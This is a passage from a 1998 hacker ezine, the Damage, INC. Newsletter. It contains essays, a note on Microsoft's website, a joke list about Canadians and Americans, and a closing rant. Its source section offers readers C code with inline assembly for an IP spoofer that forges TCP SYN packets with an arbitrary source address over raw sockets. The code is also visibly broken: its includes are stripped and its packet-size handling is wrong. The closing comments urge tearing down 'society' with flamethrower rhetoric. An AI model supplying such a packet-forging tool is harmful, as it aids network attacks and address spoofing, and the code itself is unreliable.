involving guns. Those are just a few questions that you'll have to answer yourselves. You must form your own opinions. In this article, I've given you a few important things to think about. You may not agree with what I've said, but it can't be disputed that violence exists... and it always has. Television didn't create it and doesn't force us to be violent. The seed of violence will always remain with us. It's the nature of the "society" that you live in. Indeed, that's the root of it and the only thing that can be blamed. We need to see more *real* violence on television. They should teach people what the consequences are. They should show them patients that've been shot by taking them to hospitals. They should show them the morgue. They should let them see dead bodies of people that were shot and killed. They should visit graveyards. They should make them realize that there's a difference between fake/fantasy/fiction and real violence. The difference should be explained and taught to them. Perhaps if more people are exposed to reality, they won't be so quick to dismiss things or look for someone else to blame. Written by BLACKENED ú Damage, INC. (C)opyright 1998. REPORTS FROM THE FRONT - {REPORTS} Information on Micro$oft's Main Web Site: Nevada sent me the following text file, which I decided to publish in order to to inform readers. It's also being published in an attempt to warn readers about web sites such as Micro$oft's... Microsoft Main Web Site Info. 10/5/98 Here are a few interesting items, concerning the Microsoft Main Web Site. 1/ As you are aware, if you are on the Net, you are continually bombarded with "cookie" notices. Most sites will still allow you unhindered access, even if you refuse to accept these "cookies". I'm not about to go into an explanation of what "cookies" are; if you don't know, do some research on the topic. On the Microsoft Site, if you don't accept the "cookies", you get very limited access, and in some cases can not even access anything. 2/ In a never-ending effort to be helpful, Microsoft now has a new utility on the Downloads/Upgrade Web Site. It's known as the "Download Wizard". It scans your entire hard drive, and then makes "recommendations" on what software, drivers, updates you need. Personally, I find this just a bit *too* helpful; and I'm more than a little skeptical, that this is merely a "helpful utility". 3/ This is the actual text from the site, it has been saved as a .txt file, and the fancy html format has been stripped: Download Wizard Not sure which files to download? Download Wizard suggests which Microsoft Technical Support files you need, and then gives you the choice of downloading any of the suggested files. Click here to use the Download Wizard. Welcome to the Microsoft® Download Wizard The Download Wizard will now check your computer for existing Microsoft software files and make suggestions for file updates that may be appropriate for your computer's configuration. After Download Wizard suggests the files, you can specify which files to download. These files are only suggestions and will not be downloaded to your machine unless you request them. Before downloading any files, be sure to check with your system administrator. Note: The Download Wizard currently works only with U.S. and Canadian operating systems running Microsoft Internet Explorer 3.x or later. ³\³äVADA SOURCE AND SCRIPTS - {SOURCE} IP Spoofer: Some readers of the Damage, INC. Newsletter requested that we include more C source code... and demonstrate how to use inline assembly etc. So, I've obliged by including this IP Spoofer. In case you're a novice C programmer, look for the lines that start with "__asm__" Clip out the source and save it to a file called IPSPOOF.C. ------------------------------------------------------------------------------- #include #include #include #include #include #include #include #include unsigned short ip_cksum(unsigned char * buff, int len) { unsigned long sum = 0; if (len > 3) { __asm__("clc\n" "1:\t" "lodsl\n\t" "adcl %%eax, %%ebx\n\t" "loop 1b\n\t" "adcl $0, %%ebx\n\t" "movl %%ebx, %%eax\n\t" "shrl $16, %%eax\n\t" "addw %%ax, %%bx\n\t" "adcw $0, %%bx" : "=b" (sum) , "=S" (buff) : "0" (sum), "c" (len >> 2) ,"1" (buff) : "ax", "cx", "si", "bx" ); } if (len & 2) { __asm__("lodsw\n\t" "addw %%ax, %%bx\n\t" "adcw $0, %%bx" : "=b" (sum), "=S" (buff) : "0" (sum), "1" (buff) : "bx", "ax", "si"); } if (len & 1) { __asm__("lodsb\n\t" "movb $0, %%ah\n\t" "addw %%ax, %%bx\n\t" "adcw $0, %%bx" : "=b" (sum), "=S" (buff) : "0" (sum), "1" (buff) : "bx", "ax", "si"); } sum =~sum; return(sum & 0xffff); } unsigned short tcp_check(struct tcphdr *th, int len, unsigned long saddr, unsigned long daddr) { unsigned long sum; __asm__(" addl %%ecx, %%ebx adcl %%edx, %%ebx adcl $0, %%ebx " : "=b"(sum) : "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256) : "bx", "cx", "dx" ); __asm__(" movl %%ecx, %%edx cld cmpl $32, %%ecx jb 2f shrl $5, %%ecx clc 1: lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx loop 1b adcl $0, %%ebx movl %%edx, %%ecx 2: andl $28, %%ecx je 4f shrl $2, %%ecx clc 3: lodsl adcl %%eax, %%ebx loop 3b adcl $0, %%ebx 4: movl $0, %%eax testw $2, %%dx je 5f lodsw addl %%eax, %%ebx adcl $0, %%ebx movw $0, %%ax 5: test $1, %%edx je 6f lodsb addl %%eax, %%ebx adcl $0, %%ebx 6: movl %%ebx, %%eax shrl $16, %%eax addw %%ax, %%bx adcw $0, %%bx " : "=b"(sum) : "0"(sum), "c"(len), "S"(th) : "ax", "bx", "cx", "dx", "si" ); /* We only want the bottom 16 bits, but we never cleared the top 16. */ return((~sum) & 0xffff); } void resolve_address(struct sockaddr *addr, char *hostname, u_short port) { struct sockaddr_in *address; struct hostent *host; address = (struct sockaddr_in *)addr; (void) bzero((char *)address, sizeof(struct sockaddr_in)); address->sin_family = AF_INET; address->sin_port = htons(port); address->sin_addr.s_addr = inet_addr(hostname); if ((int)address->sin_addr.s_addr == -1) { host = gethostbyname(hostname); if (host) { bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length); } else { puts("Couldn't resolve address!!!"); exit(-1); } } } char *create_ip(u_long source, u_long dest, u_char protocol, u_char ttl, u_short id, char *data, int data_len) { char *ip_datagram; struct iphdr *ip_header; ip_datagram = malloc(sizeof(struct iphdr) + data_len); ip_header = ip_datagram; ip_header->version = 4; ip_header->tos = 0; ip_header->frag_off = 0; ip_header->check = 0; ip_header->saddr = source; ip_header->daddr = dest; ip_header->protocol = protocol; ip_header->ttl = ttl; ip_header->id = htons(id); ip_header->ihl = 5; ip_header->tot_len = htons(sizeof(struct iphdr) + data_len); ip_header->check = htons(ip_cksum(ip_datagram,sizeof(struct iphdr))); bcopy(data,ip_datagram+sizeof(struct iphdr),data_len); return ip_datagram; } char *create_tcp(u_long source, u_long dest, u_short sport, u_short dport, u_long seqnum, u_long acknum, u_char flags, char *data, int datalen) { char *wewt; struct tcphdr *tcp_header; wewt = malloc(sizeof(struct tcphdr) + datalen); tcp_header = wewt; tcp_header->th_sport = sport; tcp_header->th_dport = dport; tcp_header->th_seq = seqnum; tcp_header->th_ack = acknum; tcp_header->th_flags = flags; tcp_header->th_sum = 0; tcp_header->th_sum = htons(tcp_check(tcp_header, sizeof(struct tcphdr), source, dest)); bcopy(data,wewt+sizeof(struct tcphdr),datalen); return wewt; } void sendpack(char *fromhost, int fromport, char *tohost, int toport) { char *packet; char *tcppacket; char *sendme; static struct sockaddr_in local, remote; static int sock = 0; if (!sock) { resolve_address((struct sockaddr *)&local, fromhost, fromport); resolve_address((struct sockaddr *)&remote, tohost, toport); sock = socket(AF_INET, SOCK_RAW, 255); if (sock == -1) { perror("Getting raw socket"); exit(-1); } } tcppacket = create_tcp(&local.sin_addr, &remote.sin_addr, local.sin_port, remote.sin_port, 795930600, 0, TH_SYN, NULL, 0); packet = create_ip(&local.sin_addr, &remote.sin_addr, 6, 24, 4, NULL, 0); sendme = (struct iphdr *)packet; bcopy(tcppacket, sendme+sizeof(struct iphdr), sizeof(tcppacket)); printf("the ip header is %d bytes long.\n", sizeof(struct iphdr)); printf("the tcp header is %d bytes long.\n", sizeof(struct tcphdr)); printf("the ip packet is %d bytes long.\n", sizeof(packet)); printf("the tcp packet is %d bytes long.\n", sizeof(tcppacket)); printf("the final packet is %d bytes long.\n", sizeof(sendme)); { int result; result = sendto(sock, packet, sizeof(packet), 0, (struct sockaddr *)&remote, sizeof(remote)); if (result != sizeof(packet)) { perror("sending packet"); } } } main(int argc, char **argv) { if (argc!=5) { printf("usage: %s \n", argv[0]); exit(-1); } printf("forging packet from %s.%d to %s.%d\n", argv[1], atoi(argv[2]), argv[3], atoi(argv[4])); sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4])); } ------------------------------------------------------------------------------- THC PHREAK'S TOP TEN LIST - {TOP TEN} Differences between Americans and Canadians: 1. Canadians drink more beer. 2. Americans drink weak beer. 3. Canadian beer is stronger... and we like it that way. :) 4. True Canadians drink Molson Canadian. Americans don't have a brand of beer named after them. That's the only thing we have that they don't. We've sure got 'em there eh? :) 5. Canadian (B.C. grown) marijuana is the strongest. We like it that way. Just ask our Olympic gold medal winning snowboarder, Ross. Or, ask a few Americans that smuggle it across the border. :) 6. Americans have more guns, tanks, subs, ships, helicopters and nukes. 7. Canadians have more snowshoes, skates, snow boots and hockey sticks. 8. Americans are capatalists. They're patriotic and aren't afraid to let you know it by waving their flag and singing their national anthem. They're proud, bold, brazen, outspoken and flaunt being an American wherever they travel. Damn Yankees. Hehe. :) 9. Canadians can't decide which flag to wave or fly. Each province has its own flag. We're too humble, shy and reserved to show our patriotism. The rest of us squabble with each other and threaten to separate from Canada. We can't sing either. But we sure know how to party, eh? :) 10. Canadians snowmobile and ski in June. We like snow, ice and cold winter days. We are a bilingual nation with two official languages (we can all speak both English and French... almost fluently). On the extremely rare occassions when the temperature is above twenty degrees outside, we bitch and complain endlessly that it's too hot. Then someone inevitably says "No, it's not the heat it's the humidity." Canadians burn easily too. We're the very definition of rednecks (or lumberjacks). You can always spot a Canadian in a crowd while they're on vacation in Florida or Cuba. Our currency is worthless in other countries. But what can you expect from dollars named "loonies" and two dollar coins called "toonies" or "washers"? We talk about Hockey all year round. Nothing else matters to us. To Americans, especially FOX Network Executives, Hockey doesn't matter at all. In case you couldn't tell, the above was written as a joke. It's a parody, so whether you're American or Canadian, don't take it too seriously or feel insulted by anything that I've written. --- Written by THC Phreak. --- THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING} Thoughts on Enlightenment: Sometimes genius manifests itself as madness. Our primitive instincts can be cloaked by intelligence, but they still exist beneath the surface. Time and space are intertwined and woven together like the threads of DNA in our bodies. They are one with each other. Thoughts can travel faster than the speed of light. Physical laws do not apply to everything. Physics only applies to the physical. Open your mind. Reality isn't just what you've been told to believe. It is what you are aware of, unaware of and what you think. Think of what is possible instead of limiting yourself to dismissing the unexplained or scientifically unproven. What is considered to be impossible at one point in time during one era, is many times possible at another point. The impossible to one person is someone else's possibile. Explore the possibilities. Examine the truth and not just what you've been told. Mind over matter. A mind should be powerful, not weak. It should be ever expanding, a source of energy and great strength. To learn fact, don't just memorize...analyze. How can one "follow an experiment?" Experimentation should mean experimenting, not following a scripted text with a list of instructions and guidelines. The results shouldn't be known beforehand. One result can't be called incorrect and another correct. Yet, you are taught in school that only one result is correct and that if that result isn't achieved, then the entire experiment is a failure. You are told that everyone should have the exact same results and that any deviation is wrong. Why try to "experiment" if you already know what the results will be? Don't attempt to achieve a specific, certain result. The purpose of experimenting is to find out, not to get the result that you were told will occur. The process of experimenting and learning are the most important and they outweigh any results that are found. Contrary to what you may have been told, there are no right and wrong answers. To experiment means to learn. If you want to be the same, conform. If you want to be an individual, then be creative. Voice your opinions. Express your beliefs. Show that you aren't just another zombie. Share your uniqueness and ideas. Experience what true individualism means. Use your mind to the fullest. There are no boundaries. There aren't any restrictions on knowledge or thinking, except for the blinding self-inflicted ones that you've made and forced upon yourself. Define yourself by what you want to know, and not the knowledge that you already possess. You are the only one to blame for what you lack. You are responsible for going beyond what you think you know. Become self-taught. Become a free thinker. Become enlightened. Knowledge isn't an illusion. Knowledge is something that must be gained and possessed. It can't be fake. It has to be real. Wisdom, experience and intellect cannot be faked either. Only fools believe that they can be faked and hidden underneath lies. In the end, fakeness will haunt you. It'll make certain that you don't evolve, progress and gain knowledge. Discovering the true meaning of learning is one of the most fulfilling achievements that you can make. Seeking out knowledge is such an honourable pursuit that it should be your main goal. Written by Blackie Lawless ú Damage, INC. (C)opyright 1998. CLOSING COMMENTS - {CLOSING} BLACKENED's Motivational Closing Comments: Damage, INC. asks that you join us in searching out and destroying ignorance and misinformation. We believe that many of our readers are intelligent, enlightened people, and not zombies. I also hope that you didn't assume the quote for this issue meant something else. If anything, it means to destroy people's misconceptions, false assumptions, false information and accusations. If you are against misinformation, then do something about it. If you think that I'm a ranting and raving psychotic hypocrite that only preaches and doesn't practice what I preach, think again. I am doing and will continue to do whatever is necessary to fight for my beliefs. That includes fighting the ignorant masses of zombies in any way possible. The Damage, INC. Newsletter was created to fight ignorance and give out information. So, we *are* doing something... and we'll keep going against the grain until the end. There are many possibilities and we don't want to ignore or discount any of them. One possible result is that a great awakening will happen and a revolution will begin. In order for that to happen, we need more enlightened minds. In my opinion, drastic change is needed. In desperate times, people are driven to take desperate actions. Seek out knowledge and eliminate ignorance. The pursuit of knowledge as a goal is so worthwhile that it cannot be overstated. Become active. Do *something*. Take actions against the causes that you feel strongly about. Become informed, develop your own beliefs, then learn what can be done. Complacency and indifference aren't acceptable. "Society" wants you to be misinformed about many things that they deem to be wrong. They don't want you to know the truth. They've built a "society" that is based upon pure ignorance. The bricks and the mortar that were used in its construction are lies and propaganda. The opposite of construct is destruct. That is what must be done. The whole fucking brick shithouse has to be demolished and done in. That's the only real solution. It's already rotting and decaying. The mass media is an instrument of "society" that is willfuly misinforming the masses of zombies about things such as drugs, current events etc. When they get caught lying or exploiting someone, they're quick to make a lame apology to appease the zombies. In their own sick, twisted, perverted way they believe that they are teaching their audience (viewers, readers, listeners) morality and educating them. Nothing could be further from the truth though. I believe that the whole "system" is ready to collapse... and when it does there won't be any "society" left for zombies to cling to for security. I hope that it is on the verge of happening. If it was only a matter of lighting a match to ignite the powderkeg, I'd be there with a flamethrower. Unfortunately, a greater catalyst is needed. Perhaps you think that I'm exaggerating or preying on people's fears. Maybe that's true to a certain extent. Then again, maybe that's just the reality that people aren't willing to face and I am simply revealing it to everyone. Not everything is crystal clear. Therefore, you might not be able to see and realize that "society" is demented and disease infested. However, that is the way it is... like it or not. In my opinion, people are either with "society" or against it. You can hide in the shadows or you can draw a line in the sand and take a stand. It's your choice. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- We're always looking for Writers, Members and Distribution Sites. If you'd like to apply to Damage, INC. and join a respected h/p group, then download a copy of the Damage, INC. Application Generator. If you want any of our releases, they are currently available (at no ratio) on the following boards: ...AND JUSTICE FOR ALL - Damage, INC. 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